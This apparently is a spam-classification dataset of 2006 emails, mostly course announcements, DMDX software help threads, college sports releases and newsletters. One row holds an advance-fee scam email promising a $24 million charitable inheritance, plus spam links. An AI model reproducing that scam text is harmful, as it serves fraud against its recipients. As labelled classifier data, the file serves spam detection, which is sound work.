INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 02 May 2006 14:43:00 -0500",Input/output file,"Hi CS352-ers, There were many questions about the arguments for specifying the input and output file. Here is the deal: 1) Command to run the cache simulator: java SimCache -cap 4 -assoc 2 -block 8 -input trace1 -output t1.c1 Name of the file: SimCache (not Main) Input and output file: Please add -input and -output arguments to your command line. NOTE: The default arguments are stdin and stdout in which case, the reader will be initialized to ""System.in"" and ""System.out"". Do not worry if you don't get the stdin and stdout working. The programs will be tested with some input and output files given as command line argument. I am sorry about couple of inconsistent mails about the input/output options. 2) All the ways in a set are treated equal. So, the order in which you choose a invalid block for replacement shouldn't matter. The same holds for the order in which you print the different ways of a set. In the sample output files, the ways are printed in a particular order. Let me know if you get the correct results but different order. We can resolve it. 3) One advice to students who do not have a complete implementation. Make sure you have the base case working and build more functionalities (like various capacities, various values for associativity, block sizes, LRU with 2 ways, 4 ways etc). The grading policy will be incremental in the sense, we will test the functionality incrementally. Also, write a note on your report about the set you got to work and not got to work(if possible with reasons). Please find all the information in FAQ. http://www.cs.utexas.edu/users/skeckler/cs352/homework/faq.txt Madhavi ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 02 May 2006 14:59:40 -0700",[DMDX] Re: problems running dmdx,"At 05:24 PM 5/2/2006 -0300, you wrote: >Hi, >I thank you for your help again, but I am still getting the same message: >Directx reports no support for Page Flipping. The video card in this >> >machine is not adequate for DMDX'x purposes"". >I have already removed the video card and installed it again, I have >updated directx, and nvidia video driver. Since things remained the >same I tried changind the video card, but unfortunately I keep >receiving the same message. >I have a Intel Pentium 4, 80G HD and 512 RAM, and I am using windows >2000. Does anybody have any idea about what is going wrong? I thank >you very much in advance. Guess it could be the fact that you're using Windows 2000, I've never really used it and I recall some distinctly non-complimentary things about it's DirectX support. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Flugg's Law: When you need to knock on wood is when you realize that the world is composed of vinyl, naugahyde and aluminum. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 02 May 2006 15:02:52 -0700",[DMDX] Re: language fonts,"At 02:18 AM 5/3/2006 +0530, you wrote: >Is there a way to have more than one language in an item file? If I >have the test sentences in one language, the instructions in English >also tend to get converted to that font. You should be able to set the fonts for each section but if it's not working you could try using DMDX and so forth to specify the font to be used. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Flugg's Law: When you need to knock on wood is when you realize that the world is composed of vinyl, naugahyde and aluminum.",0,0 Scott Dietz ,lyon@wheatonma.edu,"Tue, 02 May 2006 16:10:14 -0400",Six Wheaton Players Earn All-Conference Men's Tennis Nods,"Six Wheaton Players Earn All-Conference Men's Tennis Nods WORCESTER, MA- Six Wheaton College men's tennis players earned New England Women's and Men's Athletic Conference (NEWMAC) All-Conference citations at Tuesday's postseason meeting at Worcester Polytechnic Institute (WPI). Seniors Nick Potter (Concord, NH/Concord) and Matt Sheers (Beacon, NY/Beacon), juniors Brian Danishevsky (Hamden, CT/Hamden Hall Country Day School), Brad Dressler (Cranston, RI/Cranston West) and Payum Payman (Pleasant Valley, NY/Arlington), and sophomore Sean Daly (Miami, FL/La Salle) each earned accolades. As Wheaton's third doubles tandem, Potter and Sheers corralled a first team nod after having not played a match together until this season. The duo went 6-2 overall, including 3-0 in NEWMAC action. Potter was also named to the first team in doubles in 2004 and earned a doubles team spot for the third straight season. For his play this spring at fifth singles, Potter landed on the second team after going 14-8 overall, including 7-1 in the number-five slot, and winning four of five NEWMAC matches. Payman, Daly, Danishevsky and Dressler rounded out Wheaton's second team singles honors, receiving recognition for their play at the first through fourth slots, respectively. Payman and Daly combined for a second team placement at first doubles, while Danishevsky and Dressler nabbed a second team nod at number two. This season marked Payman's third straight on the NEWMAC's second team at first singles, as he went 18-5 overall with a 3-1 mark in league play, losing only to the conference player of the year from Massachusetts Institute of Technology (MIT). Daly was 12-7 this year with a 4-1 NEWMAC record. In doubles play, Daly and Payman went 9-6, including 3-1 in the conference. Danishevsky landed his third all-conference award for singles, going 10-8 overall and 3-1 in the NEWMAC. At third singles, he recorded an 8-5 mark. Dressler, who picked up his second all-conference singles nod, went 12-6, including 6-1 from the fourth spot, while he and Danishevsky earned their first all-conference doubles selections. The tandem went 12-6 overall, including 8-5 at the second spot. Going 3-1 in the league, the pair outscored opponents, 29-13. Nationally-ranked Wheaton finished the year 11-6 overall and 4-1 in the NEWMAC. The Lyons, who are 25th in the latest Intercollegiate Tennis Association (ITA) rankings, saw their season come to an end over the weekend with a loss in the championship match of the conference tournament. The second-seeded Blue and White fell to number one MIT, 4-1. ********************************************************** Scott Dietz Assistant Director of Athletics for Media Relations Wheaton College 26 East Main Street Norton, MA 02766 P- (508) 286-3768 F- (508) 286-8273 sdietz@wheatonma.edu http://www.wheatonma.edu/athletics ",0,1 Jennifer Heffelfinger ,SPARC-OAForum@arl.org,"Tue, 02 May 2006 18:00:31 -0400",Lieberman Bill Would Improve Taxpayer Access To Federally Funded Research,"http://www.lieberman.senate.gov/newsroom/release.cfm?id=255021 From the office of Senator Joe Lieberman FOR IMMEDIATE RELEASE May 2, 2006 Contact: Rob Sawicki Phone: 202.224.4041 Lieberman Bill Would Improve Taxpayer Access To Federally Funded Research Bipartisan bill would expand access to research, greater return on taxpayer investment WASHINGTON—In an effort to increase taxpayers’ access to federally funded research, U.S. Senators Joe Lieberman (D-CT) and John Cornyn (R-TX) introduced the bi-partisan Federal Research Public Access Act of 2006, today. The bill requires every federal agency with an annual research budget of more than $100 million to implement a public access policy. The policy must ensure that articles generated through research funded by that agency are made available online within six months of publication. “We wrote this legislation to give taxpayers access to scientific discoveries and advancements that they are paying for,” said Lieberman. “The goal is to share information, avoid duplication of effort and help spur new ideas which down the road can mean new treatments and cures for researchers, medical professionals and patients in Connecticut.” “This legislation is a common-sense approach to expand the public’s access to research it funds,” Cornyn said. “And it will help accelerate scientific innovation and discovery.” The legislation requires these federal agencies to: • Require each researcher—funded totally or partially by the agency—to submit an electronic `§÷ copy of the final manuscript that has been accepted for publication in a peer-reviewed journal; • Ensure the manuscript is preserved in a stable, digital repository maintained by that agency or in another suitable repository that permits free public access, interoperability, and long-term preservation; and • Require that free, online access to each taxpayer-funded manuscript be available as soon as possible, and no later than six months after its publication in a peer-reviewed journal. ------------------------------------- Jennifer Heffelfinger Communications Manager SPARC jennifer@arl.org (202) 296-2296 x121 Fax: (202) 872-0884 www.arl.org/sparc",0,1 Scott Dietz ,lyon@wheatonma.edu,"Tue, 02 May 2006 18:45:13 -0400","Fourth-Ranked Wheaton Collects Five All-Conference Baseball Honors, Laplante is Fourth Lyon Voted NEWMAC Player of the Year "," Fourth-Ranked Wheaton Collects Five All-Conference Baseball Honors, Laplante is Fourth Lyon Voted NEWMAC Player of the Year WORCESTER, MA- The nationally-ranked Wheaton College baseball team capped its New England Women's and Men's Athletic Conference (NEWMAC) championship weekend with five all-conference selections and two major awards at Tuesday's coaches meeting at Worcester Polytechnic Institute (WPI). Ranked fourth by the American Baseball Coaches Association (ABCA), the Lyons had three players voted to the all-conference first team. Junior catcher Adam Laplante (Harwich, MA/Harwich) earned NEWMAC Player-of-the-Year honors, becoming the fourth Wheaton player to do so, while head coach Eric Podbelski was named NEWMAC Coach of the Year for the sixth time since the conference's inception in 1999. The Lyons have had the conference player of the year for three straight seasons and six of the last seven campaigns. Laplante, along with sophomores Scott Guillerault (South Portland, ME/South Portland) and Chris McDonough (Weymouth, MA/Weymouth), gave Wheaton a conference-best three first teamers, while senior pitchers Jamie Baker (Boxford, MA/Masconomet Regional) and Chris Martin (Marshfield, MA/Marshfield) earned second-team honors. Guillerault, who was voted NEWMAC Rookie of the Year in 2005, is the team's starting third baseman while McDonough is a member of the Lyon pitching staff. Laplante has had a breakout season behind the plate, which has included being named National Collegiate Baseball Writers Association (NCBWA) Co-Player of the Week earlier this spring. Starting 36 of 37 games and hitting in 18 straight games at one point, Laplante is ranked tied for third in the conference in triples (2), fourth in home runs (7), fifth in RBI (29), tied for sixth in runs scored (33) and 11th in batting average (.346). Guillerault, who underwent off-season shoulder surgery, notched multi-hit games 14 times this spring. Out of the number-three hole, Guillerault leads the NEWMAC in runs batted in and home runs with 43 and 11, respectively. He also stands tied for fourth in doubles (12), tied for sixth in runs (33) and 12th in batting average (.343). Posting at least one hit in 24 of his last 31 games, Guillerault leads the team in both on-base (.473) and slugging (.679) percentages. Solid defensively, he has committed just one error during the last 21 outings. McDonough has been extremely consistent on the mound this season, placing tied for first in the NEWMAC with six wins, second to a Wheaton teammate in earned run average (1.85) and fourth in strikeouts (52). He has allowed one earned run or fewer in six of eight appearances and fanned eight-plus three times. McDonough went at least seven innings on six occasions, tossed three complete games and limited opposing hitters to a .167 average. Baker has transitioned into Wheaton's closer after being used as a starter his first three seasons and has proven to be a huge asset to the bullpen. Baker finished the NEWMAC regular season with a league-best six saves, which ranks 12th nationally, including three saves in conference play. He made 14 scoreless appearances, including 11 straight without allowing an earned run, and held opponents to a .155 average. Martin has put together an excellent season thus far, tying for third in the league in wins, ranking third in earned run average and sixth in strikeouts. Martin blanked three conference opponents for a total of 26 innings, including firing a pair of two-hit shutouts, and did not allow any extra-base hits in 81 at bats. Martin yielded no earned runs during four of his last five starts, going at least six innings four times. Podbelski had guided Wheaton to a 31-6 record, including an NCAA Division III-leading 24-game win streak, and its eighth straight NEWMAC regular season and seventh conference tournament championships. ********************************************************** Scott Dietz Assistant Director of Athletics for Media Relations Wheaton College 26 East Main Street Norton, MA 02766 P- (508) 286-3768 F- (508) 286-8273 sdietz@wheatonma.edu http://www.wheatonma.edu/athletics ",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 02 May 2006 22:26:00 -0400",Subject Index to Literature on Electronic Sources of Information,"[Forwarding from Marian Dworaczek. --Peter.] The May 1, 2006 edition of the ""Subject Index to Literature on Electronic Sources of Information"" is available at: http://library.usask.ca/~dworacze/SUBJIN_A.HTM The page-specific ""Subject Index to Literature on Electronic Sources of Information"" and the accompanying ""Electronic Sources of Information: A Bibliography"" (listing all indexed items) deal with all aspects of electronic publishing and include print and non-print materials, periodical articles, monographs and individual chapters in collected works. This edition includes 2,300 indexed titles. Both the Index and the Bibliography are continuously updated. Introduction, which includes sample search and instructions how to use the Subject Index and the Bibliography, is located at: http://library.usask.ca/~dworacze/SUB_INT.HTM This message has been posted to several mailing lists. Please excuse any duplication. ************************************************* *Marian Dworaczek *Monographs Coordinator *University of Saskatchewan Library *E-mail: marian.dworaczek@usask.ca *Home Page: http://library.usask.ca/~dworacze",0,1 Amin Al-Sharani ,,"Wed, 03 May 2006 03:09:41 +0000",DISBURSEMENT,"This mail might come to you as a surprise and the temptation to ignore it as unserious could come into your mind; but please consider it a divine wish and accept it with a deep sense of humility. My name is AMIN AL-SHARANI from Dubai (United Arab Emirate). I was formerly living in Cuba where I served as a contractor under Castro`s government but had to run into self exile after the ruling Government of Fidel Castro closed in on my family on accusations of anti-government activities and statements, I was once married with two children but my family escaped to Indonesia where they finally became victims of the tsunami disaster. Actually l did made a lot of money while serving under Castro Government and on getting to UAE, I became a merchant here in Dubai dealing in Ornamentals, Oriental Carpets and Artifacts and life was very smooth for me until about three(3) years ago when I was first diagnosed of Cancer of the Larynx. Before this happened my business and concern for making money was all I lived for, I never really cared about other values in life. But since the loss of my family and hometown coupled with my ailment I have found a new desire to assist helpless families. I have been helping orphans in orphanage/motherless homes. I have once donated some money to orphans in war ravaged Eritrea, Somalia, Sudan and some East European Countries. Before I became ill, I deposited twenty four million dollars($24,000 000.OO) in a long-term deposit vault of a security/finance company in Europe and I didn`t state any new TRUSTEE / BENEFICIARY after the lost of my entire family when the money was deposited and if I died without stating any the money will automatically go into the coffers of the security company and I don`t want this to happen. I have left the hospital and presently receiving treatment in an acupuncture clinic, I have been undergoing treatment for Oesophageal Cancer at the hospital. I have since lost my ability to talk clearly and my doctors have told me that I have only a few months to live. It is my last wish to see this money distributed to charity organizations and victims of natural disasters. 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Steve Burbon, Bellevue WA Read more testimonals here! http://www.pasuva.com Remove you e-mail http://www.kafkal.com/u.php ",1,1 webmaster@microfinancegateway.org,"waterfield@microfin.com, devfinance@ag.ohio-state.edu, communitydevelopmentbanking-l@cornell.edu","Wed, 03 May 2006 04:19:16 -0400",New Publications on The Microfinance Gateway,"New in the Microfinance Gateway Library: Publications You Could Use! Each month, the Microfinance Gateway adds valuable material received from industry participants to our online library of over 5400 documents. In the month of April 2006, 99 new documents were added to the Gateway repository. Each of these publications can be downloaded at no cost from http://www.microfinancegateway.org/. We list below the latest literature produced on microfinance (2006 publications only) for your easy reference. Topics covered this month include: Commercial Markets and Microfinance; Delivery Models and New Products; Impact Assessment; Outreach; Regulation and Supervision and Other New literature. To subscribe to our Library Updates mailing list, please visit: http://microfinancegateway.org/content/newsletter/subscribe. Wouldn't you like to make your publications accessible to the industry? Please feel free to read our publication criteria and submit a document at http://microfinancegateway.org/content/article/submit?dt=5. Commercial Markets and Microfinance A Billion to Gain? A Study on Global Financial Institutions and Microfinance, Crijns, G., Lansbergen, F., Pater, A., Putten, F. & Timmer, D., ING Microfinance Support. This study assesses the initiatives of international banks in microfinance and their relationship with domestic banks. Who Will Buy Our Paper: Microfinance Cracking the Capital Markets? The Realities of Linking Microfinance to Local and International Capital Markets (Insight No. 18), Reddy, R. & Rhyne, E., ACCION International. Insights from ""Who Will Buy Our Paper?"" conference held in New York in February 2006. Delivery Models and New Products Determinants of Intra-group Insurance in Microfinance: Empirical Evidence from Joint Liability Lending Schemes in Malawi, Simtowe, F., Zentrum fur Entwicklungsforschung (ZEF) - Center for Development Research. Can credit groups access insurance services based on joint liability? Feedback Loop Analysis: Key Lessons in the Financial Service, Mukwana, P., MicroSave. Key issues on feedback loop analysis drawn from MicroSave's Action Research Programme (ARP). Group versus Individual Liability: A Field Experiment in the Philippines, Gine, X. & Karlan, D., Economic Growth Center, Yale University. This paper examines relative merits of individual lending over group lending. Leasing: A Potential Solution for SME Expansion and Rural Financial Sector Deepening: A Study of Russia (microREPORT #46), Sposeep, S. & Sedova, I., U.S. Agency for International Development (USAID). Making medium and long term finance accessible for rural SMEs through the development of leasing markets. MicroSave Briefing Note # 48 - Staff Incentive Schemes for Deposit Mobilisation, Grammling, M. & Holtmann, M., MicroSave. Can staff incentive schemes designed by MFIs encourage deposit mobilization? Impact Assessment Evaluating Microfinance Program Innovation with Randomized Control Trials: An Example from Group Versus Individual Lending, Gine, X., Harigaya, T., Karlan, D. & Nguyen, B., Asian Development Bank (ADB). Applications of randomized control trial methodology to evaluate modifications in microcredit program design. Microfinance Impact: Bias from Dropouts, Alexander-Tedeschi, G. & Karlan, D., Economic Growth Center, Yale University. This paper proposes refinement in the impact measurement methodology of a microcredit program. Teaching Entrepreneurship: Impact of Business Training on Microfinance Clients and Institutions, Karlan, D. & Valdivia, M., Economic Growth Center, Yale University. This paper examines issues in integrating education with microfinance for improved business outcomes. Outreach Banking the Unbanked: Technology's Role in Delivering Accessible Financial Services to the Poor, Firpo. J., Foundation for Development Cooperation (FDC). How can technology impact microfinance outreach to poor clients? India - CASHPOR Reaches 100,000 Clients (Note from the Field), Gibbons, D., U.S. Agency for International Development (USAID). This note profiles CASHPOR's growing clientele in some of India's poorest districts. MicroSave Briefing Notes on Grameen II # 6 - Membership in Bangladeshi MFIs: Growing, Volatile, and Multiple, Rutherford, S., MicroSave. This report analyzes reasons that influence members to join, use and leave MFIs. Regulation and Supervision Banking and Financial Services (Microfinance) Regulations, 2006, Government of Zambia. Regulation issued by the Government of Zambia to govern microfinance services. Bribes, Taxes and Regulations: Business Constraints for Microenterprises in Tanzania, Fjeldstad, O., Kolstad, I. & Nygaard, K., Norway: Chr. Michelsen Institute (CMI). This paper analyzes the business environment for microenterprises in Tanzania. The Regulation of Microfinance in Zambia, Chiumya, C., Microfinance Regulation and Supervision Resource Center. Will the new Zambian regulatory reform help improve access to financial services among poor? Other New Literature Core Performance Indicators for Microfinance (Draft), Rosenberg, R., Consultative Group to Assist the Poor (CGAP). Basic tools to measure performance of MFIs. Country-Level Effectiveness and Accountability Review (CLEAR): Sri Lanka, Duflos, E., Ledgerwood, J., Helms, B. & Moyart, M., Consultative Group to Assist the Poor (CGAP). This report examines the effectiveness of funding agencies in post-tsunami Sri Lanka and provides recommendations for donors to act effectively. MicroSave Briefing Note # 47 - Mobile Phone-Based E-Banking: The Customer Value Proposition, Wright, G., Hughes, N., Richardson, B. & Cracknell, D., MicroSave. This paper examines mobile phone-based e-banking solutions to address customer needs. MicroSave Briefing Notes on Grameen II # 7 - Uses and Users of MFI Loans in Bangladesh, Rutherford, S., MicroSave. This document provides insights into MFI loan utility. Questions? Comments? Please write to: webmaster@microfinancegateway.org If you wish to unsubscribe from this email, please click here.",0,1 bernard@srvpsy.univ-bpclermont.fr,DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 18:44:13 +0200",[DMDX] Speech recognition with DMDX,"Hello everybody, i am trying to create an experiment with DMDX which would be able to provide positive or negative feedbacks as the subject says the right or wrong color of the word displayed on screen. I found a software called 'Dragon Naturally Speaking' which can run as a background task and translate spoken words such as 'blue','red','green' into key strokes such as 'r', 'g', 'b' (a useful precision is that Dragon Nat. Speak. also exists with a french dictionnary ...) My idea is to use a pair of items for each trial : First item : DMDX displays a coloured word (e.g. the word 'Dog' written in red) on the screen and waits for a audio input from the microphone. The subject says something (e.g. 'red'), DMDX records the response time and jump to the second item. Second item : DMDX displays nothing on the screen and is waiting for a key stroke. In that time, the word formerly spoken (e.g. 'red') is translated by Dragon Nat. Speak. in a key stroke : it takes approximatively 1 or 2 seconds. DMDX records the answer and, depending on the key pressed (in fact, the key that the speech recognition provides to the running application on Windows) , DMDX displays positive or negative feedback... A big problem is that when the subject goes on talking when the second item is waiting for a key to be pressed , DMDX considers the audio input as a positive answer and sometimes displays the correct feedback for a non-correct answer. I have the following questions on DMDX : - is it possible to map audio input with 'requests' (neutral answer from the subject, like the 'spacebar' key stroke waited with a '0' numbered item for example) or to unmap audio input for some items only. I would also like to know if some of you, in psychological researches, have already used DMDX or others softwares to create such experiments with speech recognition and feedbacks. Maybe this is not an experiment with scientifical precision, because Dragon Nat. Speak., spending many times on processing spoken words, can cause errors in timing (... maybe stroop tasks with speech recognition can only exist in my dreams !) The most important to me, for the moment, is to display correct feedbacks. Thank you for your answers. Cyril Bernard LAPSCO (CNRS / Université Blaise Pascal) cyril.bernard@srvpsy.univ-bpclermont.fr ",0,0 dennist2@uwm.edu,Jonathon Forster ,"Wed, 03 May 2006 14:27:31 -0500",[DMDX] Dennis Tomashek-missing item number,"I'm having trouble with DMDX finding my files. First, I tried running a script with wav. files, that looked like this: < fd 100> n4 s4 $ 0 ""Press Space Bar to begin""; $ + * “wav10""/; - * “wav 11""/; + * < wav 12> “wav12""/; - * “wav13""/; $ 0 ""the end"" I repeatedly recieve the missing item number prompt. So then I tried running a simple text script, just to see if I could get anything to run. It looks like this: $ $ 0 “press the space bar to start” ; 0 “read these and press proper button”; $ + 10 * “eat” /; - 11 * “sleep”/; + 12 * “drink”/; - 13 * “dream”/; $ 0 “The End”; $ I recieve the same message. I can't see what is wrong with these, as I've tried a million variations on the parameter and item lines. Please help! Thank you, Dennist Tomashek UW-Milwaukee dennist2@uwm.edu",0,0 arousset@mail.utexas.edu,cs352-swk@lists.cc.utexas.edu,"Wed, 03 May 2006 13:42:20 -0500",Diffing the Testcases,"Okay, all my output is correct, except the diff command gives me one difference...and I have no idea what it is. Here's the output of diff when I diff my test cases with the ones under the /u/skeckler/www/cs352/project/ directory. 6a7 > 519a521 > Any ideas? :) -Andrew R. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 14:49:16 -0700",[DMDX] Re: Speech recognition with DMDX,"At 06:44 PM 5/3/2006 +0200, you wrote: >I have the following questions on DMDX : >- is it possible to map audio input with 'requests' (neutral answer from the >subject, like the 'spacebar' key stroke waited with a '0' numbered item for >example) or to unmap audio input for some items only. You can map and unmap the +DigitalVOX signal as desired. >I would also like to know if some of you, in psychological researches, have >already used DMDX or others softwares to create such experiments with speech >recognition and feedbacks. Maybe this is not an experiment with scientifical >precision, because Dragon Nat. Speak., spending many times on processing >spoken >words, can cause errors in timing (... maybe stroop tasks with speech >recognition can only exist in my dreams !) The most important to me, for the >moment, is to display correct feedbacks. No one here has. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Man is clever animal who behaves like an imbecile. - Albert Schweitzer ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 14:54:28 -0700",[DMDX] Re: Dennis Tomashek-missing item number,"At 02:27 PM 5/3/2006 -0500, you wrote: >I repeatedly recieve the missing item number prompt. So then I tried running a >simple text script, just to see if I could get anything to run. It looks like >this: >$ > >$ >0 ""press the space bar to start"" ; >0 ""read these and press proper button""; >$ >+ 10 * ""eat"" /; >- 11 * ""sleep""/; >+ 12 * ""drink""/; >- 13 * ""dream""/; >$ >0 ""The End""; > $ >I recieve the same message. I can't see what is wrong with these, as I've >tried >a million variations on the parameter and item lines. Please help! You have mismatched scramble dollar signs. Normally it would pick that up but it hasn't here (possibly due to the last character in the file being a dollar sign) and when scramble looses it it can do some pretty weird things. A look at scrambled.txt will show where the DMDX error is coming from but you need to remove the first dollar sign before the parameters. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Man is clever animal who behaves like an imbecile. - Albert Schweitzer",0,0 Scott Dietz ,lyon@wheatonma.edu,"Wed, 03 May 2006 14:52:41 -0400","DePolito, Lachance Chosen for NEWMAC All-Conference Softball Teams","DePolito, Lachance Chosen for NEWMAC All-Conference Softball Teams WORCESTER, MA- Wheaton College junior captains Jessica DePolito (Taunton, MA/Coyle and Cassidy) and Nicole Lachance (Rochester, NH/Spaulding) earned spots on the New England Women's and Men's Athletic Conference (NEWMAC) All-Conference softball teams at Wednesday's postseason coaches meeting at Worcester Polytechnic Institute (WPI). DePolito, a second-team selection in 2005, was named to the first team, while Lachance corralled a spot on the second team. Lachance earned her first postseason honor following her first full season as a starter. The only first baseman to be named to either all-conference team, DePolito finished the regular season among the top 10 in the NEWMAC in five offensive categories. She tied for second in triples, tied for fourth in home runs, was seventh in batting, tied for eighth in doubles and tied for ninth in RBI. She started all 38 games in which she appeared, most of which coming out of the cleanup spot. As one of Wheaton's most clutch players, DePolito batted .385 with runners in scoring position and collected 11 two-out RBI. She had a hit in 32 of 38 games, drove in three or more runs five times, and seven of her run-scoring hits either tied the game or gave Wheaton the lead. She completed the season with team highs in batting average (.373), slugging percentage (.568), on-base percentage (.413), hits (44) and RBI (22). DePolito also tied for first in triples (3), was second in doubles (8) and tied for third in bases on balls (7). After appearing in only 39 games as an underclassman, Lachance led the NEWMAC in home runs (5) as the Lyons' primary shortstop this spring. Even with the conference tournament complete, she remains the league leader. Lachance was one of only two shortstops to earn all-conference recognition, and one of only five infielders. She also finished the regular season among the top 10 in the NEWMAC in each doubles, runs and steals. Four of her home runs came in conference play, including a pair in one game against regular season and tournament champion Babson College. Wheaton's leadoff hitter provided a team-high 12 multi-hit games, including four three-hit efforts, and recorded eight two-out RBI. Lachance also led the Lyons in doubles (9), walks (11), hit-by-pitches (3) and stolen bases (8) while tying for first in runs (21) and placing second in batting average (.319), hits (37), RBI (19), slugging percentage (.543) and on-base percentage (.389). The Lyons finished the spring with a 24-15 overall mark and a 9-7 record in the NEWMAC, tying for second in the conference standings. It was Wheaton's 12th top-two finish in the past 13 springs. The Blue and White's season came to an end in the first round of the league tournament on April 25, as the sixth-seeded Lyons fell at number three Smith College, 1-0. ********************************************************** Scott Dietz Assistant Director of Athletics for Media Relations Wheaton College 26 East Main Street Norton, MA 02766 P- (508) 286-3768 F- (508) 286-8273 sdietz@wheatonma.edu http://www.wheatonma.edu/athletics ",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Wed, 03 May 2006 15:26:22 -0500",Announcements,"CS352-ers, The project is due tomorrow, Thursday May 3. As you recall, assignments are normally due in class and assignments turned in after class are late. Since I really would like you all to attend class tomorrow, here is what I will do: - *If* you attend class tomorrow, you may turn in the project until tomorrow at 5pm without any late penalty. - If you do not attend class tomorrow and you turn in your project after 9:30am, then it will be subject to the late day policy. In addition, we may have a final quiz tomorrow (don't worry - it will be easy). I am arranging a room for the review session, currently scheduled for Monday May 8 at 3pm. I'll get back to you on the location. I also expect to announce the location of the final exam shortly. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 17:49:01 -0500",[DMDX] Re: Dennis Tomashek-missing item number,"Quoting ""Jonathan C. Forster"" : > At 02:27 PM 5/3/2006 -0500, you wrote: > > >I repeatedly recieve the missing item number prompt. So then I tried running > a > >simple text script, just to see if I could get anything to run. It looks > like > >this: > >$ 36> > > > >$ > >0 ""press the space bar to start"" ; > >0 ""read these and press proper button""; > >$ > >+ 10 * ""eat"" /; > >- 11 * ""sleep""/; > >+ 12 * ""drink""/; > >- 13 * ""dream""/; > >$ > >0 ""The End""; > > $ > >I recieve the same message. I can't see what is wrong with these, as I've > >tried > >a million variations on the parameter and item lines. Please help! > > You have mismatched scramble dollar signs. Normally it would pick that > up but it hasn't here (possibly due to the last character in the file being > a dollar sign) and when scramble looses it it can do some pretty weird > things. A look at scrambled.txt will show where the DMDX error is coming > from but you need to remove the first dollar sign before the parameters. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Man is clever animal who behaves like an imbecile. > - Albert Schweitzer > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Sorry. For some reason the email you recieved was greatly different and distorted than the one I sent, or at least intended to send. It left out the first part of the message, and left that initial dollar sign in a place where it wasn't. here's the real message. Sorry for the confusion, and thank you for your time and help. I'll try running both to without the scramble to see if this helps. Dennis Tomashek I'm having trouble with DMDX finding my files. First, I tried running a script with wav. files, that looked like this: < fd 100> n4 s4 $ 0 ""Press Space Bar to begin""; $ + * “wav10""/; - * “wav 11""/; + * < wav 12> “wav12""/; - * “wav13""/; $ 0 ""the end"" I repeatedly recieve the missing item number prompt. So then I tried running a simple text script, just to see if I could get anything to run. It looks like this: $ 0 “press the space bar to start” ; 0 “read these and press proper button”; $ + 10 * “eat” /; - 11 * “sleep”/; + 12 * “drink”/; - 13 * “dream”/; $ 0 “The End”; $ I recieve the same message. I can't see what is wrong with these, as I've tried a million variations on the parameter and item lines. Please help! Thank you, Dennist Tomashek UW-Milwaukee dennist2@uwm.edu ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Delete | Reply | Reply to All | Forward | Redirect | Blacklist | Message Source | Save as | Print Move | Copy This message to ---- New Folder ---- drafts newsarticles research project sent-mail sent-mail-oct-2003 SPAM trash",0,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 17:49:07 -0500",[DMDX] Re: Dennis Tomashek-missing item number,"Quoting ""Jonathan C. Forster"" : > At 02:27 PM 5/3/2006 -0500, you wrote: > > >I repeatedly recieve the missing item number prompt. So then I tried running > a > >simple text script, just to see if I could get anything to run. It looks > like > >this: > >$ 36> > > > >$ > >0 ""press the space bar to start"" ; > >0 ""read these and press proper button""; > >$ > >+ 10 * ""eat"" /; > >- 11 * ""sleep""/; > >+ 12 * ""drink""/; > >- 13 * ""dream""/; > >$ > >0 ""The End""; > > $ > >I recieve the same message. I can't see what is wrong with these, as I've > >tried > >a million variations on the parameter and item lines. Please help! > > You have mismatched scramble dollar signs. Normally it would pick that > up but it hasn't here (possibly due to the last character in the file being > a dollar sign) and when scramble looses it it can do some pretty weird > things. A look at scrambled.txt will show where the DMDX error is coming > from but you need to remove the first dollar sign before the parameters. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Man is clever animal who behaves like an imbecile. > - Albert Schweitzer > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Wed, 03 May 2006 16:38:40 -0700",[DMDX] RE: Re: Dennis Tomashek-missing item number,"Dennist, Remove the space between the Correct Response Indicator and the item number. Instead of: +10 * ""eat"" /; you should have: +10 * ""eat"" /; --k.i.f. > I'm having trouble with DMDX finding my files. First, I tried running a > script > with wav. files, that looked like this: > < fd 100> 255255255> > n4 s4 > $ > 0 ""Press Space Bar to begin""; > $ > + * ""wav10""/; 